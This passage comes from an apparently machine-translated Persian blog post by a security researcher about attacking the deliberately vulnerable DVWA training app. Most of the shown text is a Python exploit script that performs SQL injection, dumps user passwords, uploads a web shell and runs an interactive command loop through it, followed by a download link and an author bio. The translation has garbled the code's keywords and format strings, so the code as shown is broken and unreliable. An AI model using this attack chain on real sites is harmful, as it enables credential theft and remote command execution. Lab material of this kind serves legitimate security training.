  HN = سبز + "٪ S @٪ # " % (getpass.getuser(), گزینه های.هدف) + سفید
  CMD = ""
  اطلاعات = ""
  CJ = adminCookie
  در حین CMD != 'Q':
    امتحان:
      CMD = raw_input(HN)
      cmd64 = از base64.b64encode(CMD)      
      targetURL = ("HTTP://%S٪٪ s.php ها?CMD =٪ s را" % (گزینه های.هدف, گزینه های.dirPath, shellName, cmd64))
      یا = getServerResponse(CJ, targetURL, cmd64)
      shellOutput = یا.انشعاب("به admin")
      چاپ سفید + shellOutput[2]
    جز:
      شکستن
 
  # خود کشی
  rmShell = از base64.b64encode("RM٪ s.php" % (shellName))
  targetURL = ("HTTP://%S٪٪ s.php ها?CMD =٪ s را" % (گزینه های.هدف, گزینه های.dirPath, shellName, rmShell))
  یا = getServerResponse(CJ, targetURL, rmShell)

     
#تابع اصلی
دف اصلی():
 
  #چاپ بنر در سبک متن تایپ
  typingText(descLogo, PURPLE)
 
  #چک کردن و اتصال به پروکسی سرور در صورتی که مشخص استدلال با استفاده از-P
  اگر گزینه های.نماینده:
    testProxy()

  #چنگ زدن به ADMIN کوکی
  adminCookie = doLogin()
 
  #رشوه دادن سطح امنیتی
  lowSecurity(adminCookie)
 
  #تست آسیب پذیری تزریق SQL
  testSQLinjection(adminCookie)
 
  #تخلیه خروجی زیر
  findMySQLInfo(adminCookie)
 
  #پیدا کردن شماره رکورد را در جدول کاربران
  totalRecords = INT(findNoOfRecordsInTable(adminCookie))
 
  چاپ(فیروزه ای + "[+] Retriving نام کاربری و کلمه عبور ...")
 
  برای نمایه به محدوده(1,totalRecords 1):
    #تخلیه استفاده از کلمه عبور
    findUserPasswords(adminCookie, نمایه)
 
  #آپلود tinyShell
  uploadShellViaSQLi(adminCookie)
 
  #شروع حمله تعاملی
  interactiveAttack(adminCookie)
 
اگر __name__ == "__main__":
    اصلی()

دانلود لعنت نرم افزار های آسیب پذیر وب سایت وب سایت – SQL تزریق ب

 

DVWA_SQLi.zip

 
با تشکر از شما برای گرفتن وقت خود را به خواندن این پست. اگر شما صورت هر گونه موضوع, لطفا در صورت احساس رایگان برای نوشتن به ما در: hacksysteam@hotmail.com

 
 

178,070 نمایش کل, 51 بازدید های امروز

دو زبانه زیر محتوای زیر تغییر.

اشفق انصاری

محقق امنیتی
اشفق انصاری بنیانگذار HackSys کد نام تیم است "Panthera". او یک محقق امنیتی با تجربه در جنبه های مختلف امنیت اطلاعات می باشد. او نویسنده "HackSys افراطی درایور آسیب پذیر" و "شل کد از مرگ". او همچنین نوشته شده است و whitepapers مختلف در سطح پایین بهره برداری نرم افزار منتشر شده. علاقه او نهفته در هسته "بهره برداری سطح پایین", "مهندسی معکوس", "تجزیه و تحلیل برنامه" و "ترکیبی fuzzing در". او fanboy هوش مصنوعی و یادگیری ماشین است. او به فصل برای است تهی پونا.

بدون پاسخ به “لعنت نرم افزار های آسیب پذیر وب سایت وب سایت – تزریق SQL”

دنبالک ها / پینگ

  1. لعنت نرم افزار های آسیب پذیر وب سایت وب سایت - محلی ورود فایل (LFI) | HackSys تیم - امنیت تحقیقات کامپیوتری, تست نفوذ, هک اخلاقی, پشتیبانی از ویندوز فنی - [...] شما قسمت اول را نمی خواند, در اینجا لینک: HTTP://قلم تست hacksys.vfreaks.com / / لعنتی آسیب پذیر-WEB-نرم افزار-SQL-injection.html [...]

پاسخ دهید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخشهای موردنیاز علامتگذاری شدهاند *